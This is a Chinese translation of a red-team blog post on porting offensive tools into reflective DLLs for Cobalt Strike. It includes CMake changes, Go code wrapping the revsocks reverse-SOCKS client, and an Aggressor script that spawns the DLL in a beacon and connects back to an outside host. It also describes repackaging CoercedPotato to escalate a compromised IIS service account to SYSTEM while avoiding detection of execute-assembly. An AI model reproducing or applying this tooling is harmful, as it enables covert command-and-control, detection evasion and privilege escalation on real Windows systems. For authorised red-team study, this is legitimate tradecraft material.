反射 DLL 使用 SeImpersonateToken 特权从 NT 服务私有化到 SYSTEM
2023-12-21 17:27:26 Author: Ots安全(查看原文) 阅读量:23 收藏

语境

这篇博文旨在解决我在使用 Cobalt Strike 开源工具时遇到的问题。

在安全评估过程中,我经常依赖用 Python、C#、Go 或 C/C++ 开发的工具。开源工具通常是为了生成不太适合红队参与的 PE 文件而构建的,因为我们更愿意避免在磁盘上上传和执行文件。对于Python工具,我们需要一个SOCKS代理,但C2 SOCKS非常慢,因为SOCKS流量超过了信标的出口C2流量。

在这篇博文中,我将展示如何移植 2 个工具,以便它们生成一个反射 DLL (RDLL),该 DLL 可在 CobaltStrike 中使用并从内存执行所有内容。

Golang-revsocks

为了克服 SOCKS 延迟问题,我使用了revsocks的修改版本。Revsocks 分为两部分:服务器和客户端。服务器侦听传入连接并在建立有效连接时启动 SOCKS 服务器。

回到 2019 年,@ EthicalChaos发表了一篇关于如何将 Golang 工具与 Cobalt Strike 结合使用的博文(将您最喜欢的 Go 程序武器化为 Cobalt Strike),并发布了goreflect,这是一个从 Go 项目生成 RDLL 的模板。

我在 Linux 机器上使用这个模板时遇到了一些问题,所以我将解释我做了什么才能让它工作。

首先,我们将编译一个 Golang 程序,因此 PE 将相当大。因此,我们需要增加可延展配置文件中的任务大小限制,以便将 RDLL 传输到信标

set tasks_max_size "5048576";

现在克隆模板 Github 存储库

git clone https://github.com/CCob/goreflect

然后修改CMakeLists.txt添加以下标志

project (goreflect) #Dependency to add simple Go support to CMakeinclude(${CMAKE_SOURCE_DIR}/cmake/GolangSimple.cmake) # flags for cross compilationset(CMAKE_C_COMPILER x86_64-w64-mingw32-gcc)set(GOOS windows)set(GARCH amd64)set (DIST_DIR ${CMAKE_SOURCE_DIR}/dist)

我删除了以下几行

#Your favorite go tool definitionGO_GET(gobuster github.com/OJ/gobuster)

我将其添加到文件末尾以创建最终的 RDLL 文件

add_custom_command(        TARGET goreflect POST_BUILD        COMMAND ${CMAKE_COMMAND} -E copy                ${CMAKE_BINARY_DIR}/libgoreflect.so                ${DIST_DIR}/revsocks.dll)

我重命名了参考文献gobuster以匹配revsocks。

由于 revsocks 不是作为库开发的,因此我们不能只解析 RDLL 的参数并将它们传递给 revsocks API。

//export startfunc start(arg string) {    args, err := gsq.Split(arg)    args = append([]string{"goreflect"}, args...)    os.Args = args        // parse arg    // ...     // doesn't exist    revsocks.startclient(args.host, args.port, ....)

rclient.go我们需要将(来自 revsocks)中定义的函数复制到goreflect.go并在程序的主程序中调用它们.

func connectviaproxy(proxyaddr string, connectaddr string) net.Conn {    // ...} func connectForSocks(tlsenable bool, verify bool, address string, proxy string) error {    // ....}  //export startfunc start(arg string) { 	//parse our monolithinc argument string into individual args	args, err := gsq.Split(arg) 	//our first argument is usally the program name, to just fake it	args = append([]string{"goreflect"}, args...) 	if err == nil {		//replace os.Args ready for calling our go program		os.Args = args 		connect := flag.String("connect", "", "connect address:port")		proxy := flag.String("proxy", "", "proxy address:port")		optproxytimeout := flag.String("proxytimeout", "", "proxy response timeout (ms)")		proxyauthstring := flag.String("proxyauth", "", "proxy auth Domain/user:Password ")		optuseragent := flag.String("useragent", "", "User-Agent")		optpassword := flag.String("pass", "", "Connect password")		recn := flag.Int("recn", 3, "reconnection limit")		rect := flag.Int("rect", 30, "reconnection delay") 		flag.Usage = func() { 			fmt.Println("revsocks - reverse socks5 server/client")			fmt.Println("")			flag.PrintDefaults()			fmt.Println("")			fmt.Println("Usage:")			fmt.Println("1) Start on the client: revsocks -listen :8080 -socks 127.0.0.1:1080 -pass test")			fmt.Println("3) Connect to 127.0.0.1:1080 on the client with any socks5 client.")		}         // parse os.Args		flag.Parse() 		//run our go program 		if *connect == "" {			flag.Usage()			os.Exit(0)		}         // call to connectForSocks or something else...

准备就绪后goreflect.go,您可以构建项目并且它应该生成dist/revsocks.dll.

cd cmakecmake ..make

现在我们可以创建一个 Cobalt Strike agressor 脚本来执行我们的 RDLL:

beacon_command_register("Revsocks", "Socks5 with NTLM proxy support",   "Connect Usage: Revsocks -connect 20.20.20.20:443 -pass Password1\n");  alias Revsocks {   local('$bid', '$args');   $bid = $1;   $args = substr($0, 9);    if ($args eq "") {      berror($bid, "Please specify an argument string");		return;   }   blog($bid, "Spawn Revsocks as a Reflective DLL with args\n$args\n");   bdllspawn($bid, script_resource("dist/revsocks.dll"), $args, "Revsocks", 5000, false);}

CNA 准备就绪后,将其加载到 Cobalt Strike 中并在信标中调用 Revsocks 函数.

你应该在 revsocks 服务器上收到回调.


用于权限升级的 CoercedPotato

在最近的一次合作中,我和我的队友在 Windows IIS 服务器上获得了 RCE(我将就此发表专门的博文),最终我们在服务器上获得了一个作为 NT 本地服务帐户的信标。

我们成功地使用GodPotato获得execute-assembly了SYSTEM信标。然而,当它在 Cobalt Strike 产生的牺牲过程中execute-assembly加载时,很容易被发现。CLR.dll

我想有另一个不使用的解决方案execute-assembly,所以我开始使用反射 DLL 加载。

两个月前,CoercedPotato发布,它是一个 C++ 工具,因此可以轻松移植到 RDLL。

我克隆了该存储库并将Stephen Fewer RDLL 库集成到其中。

没有太多可谈的,除了我不得不将项目分成两部分

  • RPC 服务器/命名管道

  • 强制客户

我没有成功通过 RDLL 生成 RPC 服务器CreateThread,因此我决定首先加载 RDLL 来生成它,然后再次加载它以强制进行系统身份验证。

我删除了代码的某些部分,以仅保留 MS-RPRN 强制。

您可以在我的 Github CoercedPotatoRDLL上找到代码。https://github.com/sokaRepo/CoercedPotatoRDLL


原文地址:

https://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247503385&idx=2&sn=97a36a5e089baa9a08c4f2602d416994&chksm=9a3a36edf08339d2da4ab116cd996dbb233e6c9bee102cb43281b061f1f7eac450d18e6b76cc&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh